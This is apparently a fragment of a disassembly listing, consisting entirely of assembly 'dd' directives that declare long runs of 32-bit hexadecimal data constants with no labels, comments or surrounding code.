		dd 573B6109h, 0C24F13B8h, 534955CBh, 45288BAFh,	570B9D62h
		dd 1A38AF50h, 9A10D05Ah, 13B7585Bh, 62B5D981h, 9B47C0D5h
		dd 15F081E2h, 9030C377h, 6260F0C0h, 27B0E29h, 9E116956h
		dd 0A032E6D8h, 1B8FEE49h, 0FCAC54E6h, 37B054ABh, 0BD4AEA8Bh
		dd 0D6CF8FDEh, 0C9EF9729h, 76337047h, 69E286FEh, 0EBEC6F33h
		dd 0F6BD450Bh, 3BDF8719h, 4D3E16C2h, 1DD1EEBFh,	0E7C080F9h
		dd 0CADDA118h, 92D3CE35h, 9C3238C6h, 1A6C7Dh, 5DA40800h
		dd 7C8322E6h, 98694105h, 0B34C5D21h, 0D32E783Ch, 4F56105Ch
		dd 6F33AA57h, 9054CB44h, 0AE72E918h, 0C68F06F9h, 48C9A14Dh
		dd 245C19B1h, 9D6245B1h, 0E83B40Bh, 9244E995h, 3DF115F0h
		dd 7CD0A8C6h, 0B15DD6BBh, 1C0FB2F8h, 0C946D98Dh, 2ED20A40h
		dd 2627A04Eh, 121AB28Ah, 6D91452Ch, 0A13A7AD1h,	4F42F563h
		dd 5A3D2AD6h, 6BAE9E0h,	771A1D74h, 92B152FEh, 0A256EFFFh
		dd 0C13E6929h, 0DE21864Ah, 308B477h, 1C3BD116h,	19DDh
		dd 57CE3379h, 76ED1293h, 9209F8B2h, 0AD24DBCEh,	0CD44BDE9h
		dd 0E8BEC781h, 0D5DEA219h, 0A9FFC33Ah, 8A1DE158h, 0BC35FE75h
		dd 0B1483810h, 2093CB19h, 249D6245h, 2DBF4264h,	78CF6185h
		dd 0BEABEBFh, 2FC1659Ah, 0BE6AE387h, 15F0B5E9h,	0BE4BC276h
		dd 0B5B18935h, 904425F2h, 8B23626Ch, 9224DDCBh,	0C473C6EAh
		dd 0F3AC58D1h, 881C0F95h, 0FFA141D4h, 6AC8B84Dh, 8D5D35E1h
		dd 2C79C8BAh, 0C0E69AD3h, 905FC19Bh, 0A1F41874h, 447AF396h
		dd 1C3A81BEh, 0E6C5D8CDh, 99C8B55h, 1CC84165h, 0BED6E62Fh
		dd 0F66F8ACh, 0B44D5928h, 4AEB9710h, 0AFC4F61Fh, 6ECEEC79h
		dd 84A80522h, 4A40154Bh, 0F2B5F0D2h, 1A549B8h, 20DFC888h
		dd 34CBDA8Eh, 3256FAA2h, 7CAEF9B9h, 0F81CF8D0h,	33D78BD4h
		dd 50AFF8BCh, 9423CE9h,	84A33943h, 18F1h, 6BE21F8Dh, 8A01FEA7h
		dd 0A61DE4C6h, 0C138C7E2h, 0E158A9FDh, 0D4D2DB95h, 0C1F2B62Dh
		dd 9513D74Eh, 7631F56Ch, 0D0491289h, 0B1474C24h, 34A7DF19h
		dd 249D6245h, 2ABC4364h, 75CC5E82h, 0AA56CFC2h,	15F081A5h
		dd 0AE615212h, 1750741Ch, 0C20AE28Eh, 0E99D25F2h, 0D1B0CE45h
		dd 74EDA097h, 0FA20FC8h, 2FDB641Ch, 2C11E157h, 0D91236EAh
		dd 7723AC25h, 2C11E19Fh, 0C75A7E32h, 0D2562D27h, 0E0C88828h
		dd 8DAAFD21h, 0F6E38F08h, 731F7177h, 0F0B02DBFh, 0D5284CC3h
		dd 0AB62F62h, 2590B069h, 27584E0Eh, 0DE8415F6h,	0D4781C3Dh
		dd 4E26D25Bh, 0E13592A4h, 790092Dh, 0A4FAD27Eh,	48D3592h
		dd 92A48058h, 0BB5F1335h, 3FC0E797h, 6B23BC8h, 3592A42Eh
		dd 39E90DC1h, 0D52A916Eh, 70E3923Ah, 180FBBDAh,	1AB0000h
		dd 0E0C58900h, 0C6E4A81Fh, 0A900C43Bh, 8B1BDF56h, 0F9B3FF76h
		dd 0D84FB2F4h, 0F9709F14h, 178E7335h, 34AB5453h, 6E46F26Bh
		dd 119B146h, 0BC7C56C9h, 0BB933FEBh, 4E1FD3A1h,	0BC64F69Ah
		dd 40BFE898h, 0BA923EC7h, 0D61FD3A1h, 0F29A2CD3h, 4FE105B9h
		dd 0D14A3FF8h, 0F0B1F825h, 0F0B57515h, 31D57D0Fh, 0AB832FB8h
		dd 3E25F2B0h, 62EF668Ah, 6AFC03A2h, 0E4949EC2h,	0D040C770h
		dd 0FA998ACh, 0E3896731h, 6F1381E5h, 0EDA652CBh, 421C0F98h
		dd 4763CB0Ch, 23473C31h, 4A161EAh, 25C169FBh, 2C129E4Dh
		dd 0F5882CE0h, 59574055h, 1184B3B7h, 77FFEC98h,	0C87CB5F8h
		dd 3558DF36h, 0B06F10BCh, 6014BC17h, 7F8027E7h,	9C634606h
		dd 3E740178h, 0F16B658Fh, 1BCBEF27h, 0BD0C738Ch, 485A6BA0h
		dd 172B93B2h, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh, 8D1CE057h
		dd 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h,	33AA5751h
		dd 50C7386Fh, 8A620E87h, 1D19B145h, 0F37C72E5h,	0D3A16F47h
		dd 2A4E021Fh, 0DFC62D7Ah, 0CC437020h, 5CEE923Ah, 0E65F3205h
		dd 0F5F6DD3Ah, 45F17A15h, 25F5F56Dh, 2FA84C00h,	50C7386Fh
		dd 0F5F778A0h, 2564D125h, 42BDEAAEh, 6B083ECBh,	0DC2585C9h
		dd 627D14B6h, 494CEB3Eh, 0BAC724D0h, 0B0641C18h, 0E878AE37h
		dd 0E44F70CDh, 0EB340CB8h, 13C72C18h, 0A9B4B6Fh, 0EBBA7EF5h
		dd 0D9CE8214h
		dd 7174BF26h, 5BF1FA68h, 16803Ch, 71901C00h, 906F36FAh
		dd 0AC555519h, 0C7387135h, 0E71A8C50h, 636A2470h, 8347BE43h
		dd 0A468DF30h, 0C286FD04h, 0DAA31AE5h, 44DDB561h, 387019B1h
		dd 95A2C5h, 6A3EFE87h, 7AD77397h, 1715F5F7h, 7D2AEA63h
		dd 7C3BFC00h, 31D55817h, 0AFE253BAh, 43A68A36h,	9D5125F6h
		dd 59058E0Bh, 25F64381h, 0A03C6014h, 25F643CBh,	0B763C9E1h
		dd 25F643DFh, 881ABE72h, 9C2ED1D4h, 5538B0Ah, 0F6438159h
		dd 0BC601425h, 3CFFDF5Eh, 949E67Dh, 48B7F0B0h, 6A8B24h
		dd 0A2180000h, 0D985FE93h, 1FD3A1FDh, 0D552E498h, 920A149Fh
		dd 0B8F0EFFEh, 6B0FB749h, 0F2D7AB47h, 0BE3D1FD2h, 175E1B20h
		dd 0CF8FF094h, 6D062AD7h, 38h, 64467CFAh, 0A6B01093h, 0F4A5E638h
		dd 0D9E5E7CEh, 688C30D1h, 0D2DCF7CCh, 0C8CD6A1Fh, 913DC64Fh
		dd 1FD2DCB9h, 0DC88600Ch, 671B1FD2h, 0BA567A2Eh, 15EFE021h
		dd 148B02B6h, 870095A2h, 0F0B0CEDBh, 684B0B15h,	964A83A7h
		dd 0A8575004h, 0C53A6D31h, 0EC9D164Ch, 2B5B1119h, 0E5C17507h
		dd 0D1D68A1Ch, 0BDE89C2Eh, 0ED149242h, 1CC2515Bh, 627C0B11h
		dd 0A017E8BFh, 0AB545313h, 2FD0D787h, 46CB80B6h, 0E97B8425h
		dd 0A9D11B41h, 0C219ABCFh, 1EA72075h, 35E1495Eh, 25F30C5Dh
		dd 6983CF0h, 159E3A5Eh,	8A1C1026h, 0C9B5FD6h, 24E461F3h
		dd 5B07808Fh, 2C122583h, 0A23E6216h, 94268CEFh,	63BE20AFh
		dd 0B744BB44h, 694C0181h, 173BBA81h, 2DBF4067h,	4EFA3079h
		dd 0A4491F76h, 1FB15509h, 34C63B6Bh, 47D92880h,	85A836B5h
		dd 0F26678F7h, 0F7897832h, 0F89C6543h, 7C8324D4h, 99664105h
		dd 287B007h, 1FE0C989h,	48C1E58Dh, 6630B39Ch, 0FD74289Ah
		dd 633BE770h, 0F6AA6830h, 396E1E42h, 8315ECBAh,	0F1A537DBh
		dd 0B1BB4DC2h, 4E659B24h, 0C088EC8Ch, 0C5D6AE4Ah, 0B569AA67h
		dd 0C5B8903Ch, 974BAA67h, 3BE6F873h, 581C936Ch,	0C71EB04Fh
		dd 0F8A41D70h, 0A084CFFBh, 24CFD898h, 43EB7D84h, 0C1650D9Fh
		dd 0DE21864Ah, 9A46CF4Ch, 0B086CFC2h, 0EC159555h, 0B4882448h
		dd 3DC086CFh, 46B9F0B0h, 0EA37A722h, 9C942BDh, 29D1639Ch
		dd 0DECA8E05h, 0C9DD9123h, 0A722A638h, 43BEEA37h, 277F3FCCh
		dd 0A206B6DAh, 9019CD5Fh, 1BBF5063h, 0EEF07F89h, 5D35E16Ah
		dd 0F0C086CFh, 0F88A7530h, 0D888AC50h, 7B8425D0h, 0C9C60D7h
		dd 0F7BC7CF5h, 0B62F418h, 30F0692Ch, 51F98B76h,	0CF542CD8h
		dd 33E7C086h, 0DDEA960Fh, 5AB6A3DEh, 38214A6h, 1D6246DBh
		dd 93C7922Bh, 0CE45E974h, 0D0629D0Ah, 0E2748B1Ch, 0F486792Eh
		dd 4966940h, 87A638C3h,	0CF528C07h, 6B027D8h, 0A9B9F6B3h
		dd 235Ah, 6345E700h, 82B50C9Eh,	0A1EA960Fh, 1615F0A8h
		dd 37BCEB62h, 2F000000h, 0FBF17FF9h, 0D5DEF30Ah, 0F72963Ah
		dd 259E6345h, 0A218F09Ch, 0F7AB1FD3h, 4DEA41D3h, 1046CF48h
		dd 25DC2D5Ch, 7A3C76Ah,	15F05866h, 0A65B4B0Bh, 0AC50AFF6h
		dd 0BC7CBE35h, 0DA8214EBh, 88CCACB6h, 2B61DAAFh, 0C07DDFC1h
		dd 87002405h, 0EF8922DBh, 74417715h, 5EFEF66Eh,	0EB9FD8FCh
		dd 9AE0B858h, 0DE590A83h, 998632ABh, 1610C27Bh,	0BE79D062h
		dd 5A652CBh, 0AA16E1B5h, 0EABD7DF6h, 51119E15h,	7119AB54h
		dd 730A9D4Dh, 0B36D7EE1h, 268D31E5h, 0F13D62D7h, 0EE99B84Eh
		dd 8A000012h, 0A468DF22h, 0C387FE01h, 0DFA31AE7h, 0FABE35CAh
		dd 92DE55ACh, 30D1D5D8h, 51BEF5B9h, 6F9216DAh, 8C7334F8h
		dd 27D34C15h, 19B1414Fh, 5937AAE2h, 1FD3A281h, 0C79F4BD4h
		dd 5A1FD3A2h, 82F82A6h,	0E7600C85h, 7C15F0BAh, 198F4FC8h
		dd 0FBAD71E8h, 0B256B9FAh, 0C43B6C20h, 322FCE5Dh, 0C6E57BF0h
		dd 1289h, 37A8725h, 2299663Fh, 3EB54C5Eh, 59D02F7Ah, 79F01195h
		dd 3C6A732Dh, 298A4EC5h, 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h
		dd 0B140E4BCh, 0CC3F7719h, 870095A2h, 0F0BA62DBh, 0CA43F715h
		dd 0B9BD9541h, 9C5025F2h, 663FFF78h, 0C952299h,	0F2B98860h
		dd 43671B25h, 5BED1293h, 7E2A00A7h, 25F2B9A6h, 0E11AE5C2h
		dd 0D67A8721h, 8F0EA032h, 2CD3D24Fh, 74E497B5h,	8337CABFh
		dd 27D8D122h, 0C1810A83h, 0DE8618E9h, 0F2B96A42h, 2549FD25h
		dd 0BA1EF393h, 4AC325F2h, 6D9C3014h, 0F384E9C1h, 0A2C87C25h
		dd 0EC104CE2h, 0F1B46D71h, 810A970Eh, 0F373FDD5h, 0B8DC9025h
		dd 0D0629D08h, 52CBBE79h, 15C95DA6h, 595C921Ch,	0AA5ED952h
		dd 3962BBDCh, 0B27AA213h, 28A1558Eh, 1228699Fh,	69106B52h
		dd 0ED129545h, 0AF5B276h, 0FCC5FB78h, 0DA6A7E73h, 1E196C90h
		dd 7432F26Bh, 2F53FB8Dh, 196E0AB6h, 93C92238h, 0FAA64628h
		dd 0A3DC0043h, 0F1B676EFh, 0D4D3970Eh, 3E6A8B1Fh, 0E97B1FC3h
		dd 4564366Ch, 745B76F0h, 0D53AFD50h, 1D5F08D3h,	844D19A6h
		dd 84B5294Fh, 0FEAA23C7h, 2854EB49h, 0EA21A0D6h, 45DB37C9h
		dd 59EB1495h, 3BA60DB1h, 0BAEEAE5Ch, 11370524h,	0D9D30000h
		dd 0B8EDB128h, 9E0CD047h, 8128EC63h, 6343077Eh,	21DB279Eh
		dd 778A1Ch, 2198773Ch, 3FB64B5Dh, 5CD32C7Bh, 966E1A93h
		dd 2919B13Fh, 78597EF1h, 0A61FD3A1h, 2188FF02h,	4EFA7316h
		dd 15F5F5AAh, 9F28A155h, 772FD4DFh, 12C2E68Ah, 65F26998h
		dd 6E0001A5h, 8012EDBAh, 2F8434D8h, 82A64EE0h, 0B01A5F1Fh
		dd 2AB3F114h, 2A000001h, 37C8E1A1h, 53A1C39Bh, 10965620h
		dd 13B75FF1h, 92A28CEFh, 0E1C484FDh, 7C97FA1Eh,	8517EABCh
		dd 9440B9DDh, 1FD3A1BFh, 7C63C67Eh, 6607A09h, 9CFF94A2h
		dd 91A22087h, 0B446B9F0h, 6205680Ch, 0B06A5FFBh, 23E3F394h
		dd 25FDA983h, 0B822D3A2h, 26CE6004h, 0ACD02F76h, 2F13h
		dd 94A2A000h, 0D07C9CFFh, 1FD3A1FBh, 7C71D488h,	0A16F47F3h
		dd 4E021FD3h, 453EB12Ah, 7C399C65h, 9F30DB46h, 779BD09Dh
		dd 40DA91F8h, 63000000h, 9CFF94A2h, 7533F37Ch, 0F7CC688Ch
		dd 0B61FD3A1h, 0F5E3757Ch, 4271DBE1h, 2648A5Ch,	930CB0A5h
		dd 0A6B1845Dh, 0A9CF49A9h, 8DF5DC45h, 0C82B4FC6h, 6545097Ch
		dd 0BC7C399Ch, 0D88012EDh, 5FCE35B4h, 0F394B06Ah, 2FC3h
		dd 91A25000h, 0D8B79C7Ah, 6DAA7DAEh, 8456BF4h, 65C86CA8h
		dd 7433F37Ch, 0F6CB678Bh, 831FD3A1h, 97C6CCFh, 3C9F6045h
		dd 20DA0F76h, 63000000h, 99FC91A2h, 0A1FBD07Ch,	2BA1FD3h
		dd 45097C9Fh, 9D269F60h, 0D3A219F1h, 0D4F8AC1Fh, 0DA0F7671h
		dd 0FFFFFECDh, 95A263h,	0F77EDB87h, 671B15F5h, 86792EEEh
		dd 0A060E962h, 0B468FA05h, 0EF680CF3h, 0F5F66B43h, 264AFE25h
		dd 57CE3176h, 0CB4445F0h, 0F5F6471Fh, 0CCDA9A25h, 0D7FBA335h
		dd 0B171EA9Eh, 55E70BF4h, 728D18D8h, 0F6DCB24Eh, 0AFF825F5h
		dd 9E0ABE50h, 7929D163h, 3640D22Fh, 98F637A7h, 0B54A5B1Bh
		dd 0DC577B23h, 13603902h, 488D0949h, 1A000000h,	0D3A18559h
		dd 0B39AD01Fh, 5830DC33h, 0EB1FD2AEh, 0BDCA1137h, 0D5AD59D2h
		dd 681FD3A0h, 0C7E090B4h, 3C11C138h, 891FD3A0h,	462E4253h
		dd 640C9E61h, 0D0CDAA3Eh, 0ABDE59ACh, 0C5198632h, 0E29615EFh
		dd 0CF3C6Bh, 0A2C50000h, 0DB870095h, 15F09556h,	0A0D64F03h
		dd 903C47EBh, 25F38AB8h, 0DC71974Bh, 83FC2062h,	9810E5C3h
		dd 8B2FD769h, 0AE615212h, 0D950741Ch, 0F56E9315h, 55E8C06Ch
		dd 8F3B25F3h, 25F355B7h, 0D45D964Ah, 0F3555028h, 8B2FE325h
		dd 0E32CFDBh, 7F12257Ch, 0A1604606h, 0CA43670Fh, 15AACD1Eh
		dd 5752121Ch, 974B84A8h, 0B74A5E1Eh, 0D52C7C40h, 464BEC43h
		dd 0C09844CDh, 532C15A9h, 6787799Fh, 3ADBBAD3h,	78F19D16h
		dd 0D223852h, 8720E059h, 6A3D0178h, 978D2E95h, 0A238E449h
		dd 0E4C83h, 3DC4E800h, 5CA302C6h, 788921E5h, 936C3D01h
		dd 0B34E581Ch, 2F36F03Ch, 4F138A77h, 7034AB64h,	8E52C938h
		dd 0A66FE619h, 3CA9812Dh, 43C19B1h, 91624591h, 0AD55E718h
		dd 0E4C37709h, 8C05891Bh, 226D9CCh, 0DDCA5787h,	0E81EAB22h
		dd 616DAFCDh, 0A93F6338h, 0F0943ED0h, 54FDh, 0F37C8A00h
		dd 0D3A16F47h, 0D54E021Fh, 0D3A15129h, 0C30E41Fh, 8A367EB9h
		dd 1FD3A1B2h, 74ED9145h, 0F082DBC8h, 12A45815h,	3FB6495Eh
		dd 41D32C7Bh, 0CF484DEAh, 0D3659A0Fh, 0C2D2AA56h, 0B16525F2h
		dd 0E770E90Dh, 20ED5AB1h, 23472B25h, 10090287h,	84FBAF1Ch
		dd 9F60450Dh, 0BE416428h, 0A1B18C2Ch, 0D1D71FD3h, 0B3F7B730h
		dd 0F014BC4Eh, 70251279h, 0F6DA4BF7h, 0AB5F15F5h, 0C8377232h
		dd 0F16A8E36h, 0F887931h, 17A9564Fh, 47D44B6Fh,	0BEE21F87h
		dd 47F37C5Bh, 1FD3A16Fh, 942A4E02h, 0F114B0C5h,	137E8h
		dd 92A27500h, 0D07C9AFDh, 1FD3A1FBh, 7C9F02BAh,	6607A09h
		dd 9CFF94A2h, 0E4A3467Ch, 0F0FEE857h, 74986740h, 91A29F06h
		dd 0FB6299FCh, 94B06A5Fh, 56C3F3h, 7C500000h, 8315ECBCh
		dd 0D264B7DBh, 0F37C5EC1h, 0FA8C7533h, 0A1DEB652h, 0BD711FD3h
		dd 9F742099h, 0EC1FD3A1h, 0F0827D2Ch, 36AD2248h, 0E7249549h
		dd 0D7548AC3h, 0B2A6396h, 7CC326CAh, 90654509h,	39C8DE15h
		dd 0B75BFFA7h, 0EABC7C54h, 0B9DD8517h, 3DDAD33Ah, 63000000h
		dd 9CFF94A2h, 0A1FBD07Ch, 0BF481FD3h, 0BC58A9FFh, 1FD3A1E4h
		dd 989FC377h, 1A767E0h,	0A64AB5F4h, 0C0C2EA14h,	0E65E87Eh
		dd 7CE3466Ah, 88A1BDF3h, 0FBC1F141h, 654574D7h,	0F76399Ch
		dd 94B06A5Fh, 2FC3F3h, 0A2500000h, 4D83FC91h, 72AC42AEh
		dd 0E94C70CBh, 0A1FBD07Ch, 0D4881FD3h, 45097C71h, 763C9F60h
		dd 0ECC470F9h, 7F1FD3A1h, 0DA44A7CBh, 32h, 0FC91A263h
		dd 0EBBC7C99h, 0B4DA8214h, 0E97953F9h, 56CFF39Bh, 0F7A397CDh
		dd 770906ADh, 0A539A9CFh, 0AE831F43h, 6D1FD2B8h, 97C52B5h
		dd 3C9F6045h, 0B6DA0F76h, 63FFFFFEh, 870095A2h,	0F5F77EDBh
		dd 0EE671B15h, 5E847B2Eh, 3139913Dh, 0AE274BA8h, 18F09C25h
		dd 0BE25F62Fh, 0FE68118Ch, 0FC3FCE0h, 936C3BEBh, 1180B51Ch
		dd 34DBD898h, 5DD6FAA2h, 0F5D7D9B1h, 26B86C25h,	0F5D7B086h
		dd 3F9F1E25h, 4972BDFCh, 255009h, 7C70000h, 25CD5FA0h
		dd 85599E01h, 0D01FD3A1h, 466A9510h, 77EE1196h,	0BB48h
		dd 0C585BB00h, 0B0F8B591h, 7C75D8FCh, 5EF99A46h, 8AAE5308h
		dd 0CB80037h, 1FD33E34h, 0F66F13C7h, 0F029FD4Ah, 4DC67A15h
		dd 6DE61B8Dh, 0E004FDADh, 0FE03A569h, 6322156Ch, 842CBE43h
		dd 1EDE67E0h, 3BE3758Ch, 0BE267B17h, 0FFB31C14h, 1FE2C686h
		dd 3DC4E4A8h, 386E2EABh, 7216EBBDh, 0C11438E0h,	649A1376h
		dd 9007086Bh, 0CB4468AEh, 3767A61Fh, 0E873B22h,	2FA6594Eh
		dd 0EFB73C6Bh, 34D88012h, 4EFC70CDh, 1837CDE4h,	0B1Dh
		dd 970EF3B9h, 0B62DD2D3h, 0D249B8F2h, 0ED649B0Eh, 0D847D29h
		dd 0A8FE07C1h, 951EE259h, 693F037Ah, 4A5D2198h,	0FC753EB5h
		dd 0B1397850h, 60D30B19h, 0B9D6245h, 1DAF5057h,	0D7972099h
		dd 0F8A032CFh, 0D3A1845Ch, 3F63171Fh, 0A0071AC4h, 7B3EE85Fh
		dd 92F094B8h, 4Dh, 95A21Fh, 8E36DB87h, 0E3A315F0h, 4AC3EC3h
		dd 61F3A7E0h, 0C773AEE4h, 4EBF4F7h, 887730E0h, 3F40D90Fh
		dd 0AE9ECDAh, 8CB04F5Ah, 0A9565115h, 1277C017h,	0B8A0ED99h
		dd 941D1C0Fh, 11F810E8h, 0C9EFA32Ch, 9AA870D2h,	85FCA083h
		dd 9F60450Eh, 0BF426626h, 9374249Bh, 0F81FD3A1h, 6B8F7238h
		dd 9D14EDBBh, 138C0136h, 0F5F6EB67h, 59D28615h,	0C39B47D0h
		dd 5625F5F5h, 0DCCE7EA2h, 0EB21AE25h, 0EC680BEAh, 87EA0ED7h
		dd 14B01A5Fh, 173B3F1h,	7C400000h, 0A16F47F3h, 0DC151FD3h
		dd 8005E14h, 40B96DA6h,	0D331BC94h, 779B4F1Fh, 27B1024h
		dd 7996842h, 7CD83B5Fh,	0E6BE6AF3h, 791FD3A1h, 3005A1C5h
		dd 0EF1FD3A2h, 97CD437h, 0A206607Ah, 879CFF94h,	0FDD5810Ah
		dd 191FD3A1h, 883C759Ah, 31EE0562h, 80A4DA58h, 0BB467C1Dh
		dd 0B2ED3F20h, 9F94E70Bh, 0A234CBDEh, 0FDD581FAh, 901FD2AFh
		dd 62D538DCh, 0B06A5FFBh, 36C3F394h, 50000000h,	0A7D94A2h
		dd 82BC684Ah, 7C379A3Eh, 0D3A1FBD0h, 0EBC8881Fh, 7C1D8024h
		dd 47F37C09h, 1FD3A16Fh, 7A2A4E02h, 1CE5C530h, 22C6396Ch
		dd 0DA0F76BFh, 22h, 0FF94A263h,	0E9BC7C9Ch, 0B8DC8416h
		dd 0A1BE933Fh, 0C57D1FD3h, 45097C62h, 76399C65h, 946D39F9h
		dd 6A5F0D70h, 0C3F394B0h, 59h, 0D02F7A3Ah, 0F72963Eh, 0B5F091A2h
		dd 799683Eh, 9E17BB5Fh,	0BEB4C9DEh, 0A4AC3A56h,	5E0026CAh
		dd 0AB4A1A3Bh, 7CE14468h, 0D3A1FBD0h, 53FF881Fh, 1FD3A17Bh
		dd 3DB65A0Eh, 0C5E2B107h, 0E5091BEBh, 47F37C82h, 1FD3A16Fh
		dd 0B12A4E02h, 9F60453Eh, 0DA0F763Ch, 37h, 0FC91A263h
		dd 0EDBC7C99h, 0C975EE12h, 1FD3A1F4h, 0D4B079B3h, 9EDC20CAh
		dd 467C97FAh, 3903F777h, 1A93B7A5h, 4FB15B91h, 53798623h
		dd 42660456h, 9F6045DFh, 0DA0F763Ch, 0FFFFFE84h, 0F495A263h
		dd 16BE50BFh, 0B070F972h, 0CF7709F8h, 0F6B20FABh, 9B4F15F5h
		dd 0B8476222h, 0E15A7E26h, 2798621h, 0C8EB9A9Bh, 0F42AA347h
		dd 63CFBA83h, 0CC456906h, 0F5DC4820h, 9527DB25h, 0F5DD1FF5h
		dd 0D00E8D25h, 497D2E6Bh, 18BF09h, 594C0000h, 1FD3A185h
		dd 0C4E50E99h, 0B3F5A93Bh, 8F06AA4Eh, 11660h, 95A2E900h
		dd 0C8518700h, 0AE45214h, 2F99711Dh, 782C1FD3h,	8B37B0D4h
		dd 15F0440Ah, 8F9AF6Fh,	71AACE76h, 6307F8B1h, 81802AEAh
		dd 139747EFh, 90B45CEEh, 59058E17h, 25F24281h, 20439A27h
		dd 942DF38h, 0FE03A555h, 0F0A0C46Ch, 0ED249B8h,	0EE6929Ah
		dd 0A125F1C2h, 47D049EDh, 6989E111h, 2ECA1232h,	25F1BD56h
		dd 7F1135E9h, 17A0F28h,	0BDF4CC78h, 0D38725F1h,	318A36AFh
		dd 0C61C1413h, 6152A106h, 0ED660AAEh, 2C7A7B2Dh, 2DBA31D5h
		dd 35C7386Dh, 33CCDD8Dh, 25D5F9A1h, 7C057E83h, 126F47F3h
		dd 4E022C14h, 1412DAB2h, 0FBAD6D2Ch, 28CC7406h,	1C1B7204h
		dd 0DB540079h, 70223665h, 31BA43BCh, 6524FCA8h,	3B73236h
		dd 36648F67h, 4A6E2232h, 7BF20D9Ah, 0A80FF0B7h,	0E44FFA1Bh
		dd 76E9089Eh, 12000007h, 2CF0679Ah, 4B0F8679h, 672BA25Fh
		dd 8246BD42h, 1A66DD24h, 0B8495D60h, 0D9367D41h, 0F70A9E62h
		dd 14EBBC80h, 0AF5BD49Dh, 19B135D7h, 45BF326Ah,	64249D62h
		dd 0EF1B44Fh, 9E30D47Ch, 8C40D2F6h, 0EFB0621Bh,	0A22540BCh
		dd 0A64AB5F2h, 8E179014h, 0D2AA0AE2h, 0C5E99D1Fh, 1A8D944Ah
		dd 37E36CE5h, 1FD2A95Fh, 0A31A3EF2h, 9444A0F9h,	394DF0h
		dd 0A2DA0000h, 0FE870095h, 0A1F1C975h, 0FB841FD3h, 0D3A1774Fh
		dd 0B2560A1Fh, 95DDF28Eh, 346A15F0h, 9B0BDFh, 0EA7C2095h
		dd 0F2C8764Ah, 815DDC25h, 7465FFBAh, 3C0E09h, 0A29B0000h
		dd 0DB870095h, 15F0BDE2h, 8A4AC377h, 0A74FE120h, 6A3DF183h
		dd 95D2089h, 6AA52999h,	0F9A133D7h, 8D1ADE55h, 0AE89E072h
		dd 35B662DBh, 0DA1C108Ah, 0BAEDAD26h, 0E70BB345h, 89EBF970h
		dd 1393F245h, 48D14AEEh, 402BB412h, 40649206h, 0F05DEBA4h
		dd 26804015h, 0CAE8B059h, 6307EC89h, 0BF52063Fh, 0C820E81Fh
		dd 2D7D3D65h, 258E42D4h, 0CB058EAh, 23B54C5Ch, 3304577Bh
		dd 4C39E55Eh, 0C9DC8500h, 0BD619E09h, 2E63D42Bh, 396809B5h
		dd 97CDE2A4h, 0A07C34FEh, 0E51E420Fh, 6F2FB831h, 0F7A7CB44h
		dd 14D84FB0h, 74056C93h, 0F124FF08h, 6173C5Bh, 0F9B30000h
		dd 0D8CD9108h, 0BEECB027h, 0A108CC43h, 8323E75Eh, 1BB077Eh
		dd 0E057AAFCh, 178971Ch, 1F966B3Dh, 3CB34C5Bh, 764EFA73h
		dd 919B134h, 62455ED1h,	0A1441CC8h, 45601FD3h, 478028BAh
		dd 0E05DEF93h, 0A1D3AB57h, 0B2661FD3h, 35CCDE8Eh, 0ADE057BEh
		dd 0F72F8834h, 0C48415F5h, 0E58D1FE2h, 42D488C1h, 7EE51C8Eh
		dd 0F00F6CE5h, 0A6ABCA60h, 42000005h, 5C20976Ah, 7B3FB649h
		dd 975BD22Fh, 0B276ED12h, 4A960DF4h, 0E8198D90h, 906AD71h
		dd 27DACE92h, 44BBECB0h, 0DF8B04CDh, 19B13407h,	0A2EF629Ah
		dd 4FB2F495h, 0F87115BDh, 0F5F6F74Ch, 57D08415h, 0CDF10E97h
		dd 0A8FEBE3Bh, 25853559h, 6B3075DCh, 0B74DF00Fh, 54C98h
		dd 3DC4E800h, 5CA302C6h, 788921E5h, 936C3D01h, 0B34E581Ch
		dd 2F36F03Ch, 4F138A77h, 7034AB64h, 8E52C938h, 0A66FE619h
		dd 33A9812Dh, 43C19B1h,	0EABC7C91h, 0B9DD8517h,	43BCD166h
		dd 0F5F74697h, 56028B15h, 25F5F67Eh, 0F64D25D1h, 2CE025F5h
		dd 0E21B3FF3h, 0D87C8322h, 0E9189246h, 0F6C1582h, 9BBA50F0h
		dd 4E5h, 5FD62B81h, 7EF50A9Bh, 9A11F0BAh, 0B52CD3D6h, 0D54CB5F1h
		dd 0E0C6CF89h, 0CDE6AA21h, 0A107CB42h, 8225E960h, 0C43D067Dh
		dd 0B1334018h, 289BD319h, 1CC86245h, 1FD3A144h,	6F9017D7h
		dd 0EEAE27CBh, 94264AC5h, 7A2CC7E0h, 0AA6AE387h, 0E08C05FCh
		dd 1FD3A208h, 31C3E79Bh, 0DB469827h, 0F8BC33CCh, 0F7CF7BAFh
		dd 8A1FD3A1h, 23A032D6h, 9875DAEDh, 98BC01BEh, 0D37927FCh
		dd 8D51CC1Fh, 73EC1394h, 78663EEAh, 45F91FD3h, 0F443AA21h
		dd 0C2C8241Fh, 0E084A476h, 0FE72BB67h, 33E715F4h, 52ADFABAh
		dd 0CCA450D9h, 5F25F4FDh, 4C1087ABh, 0BB12A45Bh, 0F4A0197Ch
		dd 1C175258h, 6C63FF3h,	23E75EA1h, 6CE97B84h, 525F37E3h
		dd 69F22C17h, 1752E5BDh, 20C4782Ch, 0FB8EA9FCh,	3221D682h
		dd 0FAAE2234h, 4FF7FE93h, 0A2C157E4h, 3F9h, 73EA1795h
		dd 9209F6AFh, 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh
		dd 0B9FABE35h, 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0B132542Ch
		dd 3CAFE719h, 2D5A467Ch, 261C001Eh, 0AA555202h,	52129B18h
		dd 3A12AE61h, 0CD1FD302h, 6245F519h, 78BF269Dh,	53139C15h
		dd 731BAD52h, 0A9EB34Fh, 772B15F0h, 97145E5h, 58D725F2h
		dd 20E4B586h, 3C090975h, 96000000h, 870095A2h, 0F08136DBh
		dd 9D2FE315h, 0F2C229FDh, 97683D25h, 0AB545105h, 914DD819h
		dd 1FBF3E9Ch, 0D62C0339h, 0C8194C4Ah, 69DFD41Bh, 0C7EB8FBBh
		dd 74BE6831h, 0C28509h,	45120000h, 8E0B9D62h, 0A1815905h
		dd 60141FD3h, 0E71A8C3Ch, 0F906A155h, 0BF4B367h, 0A651E494h
		dd 40671FD3h, 238448BFh, 0DCD4ADCh, 0EF42669Bh,	20CC4548h
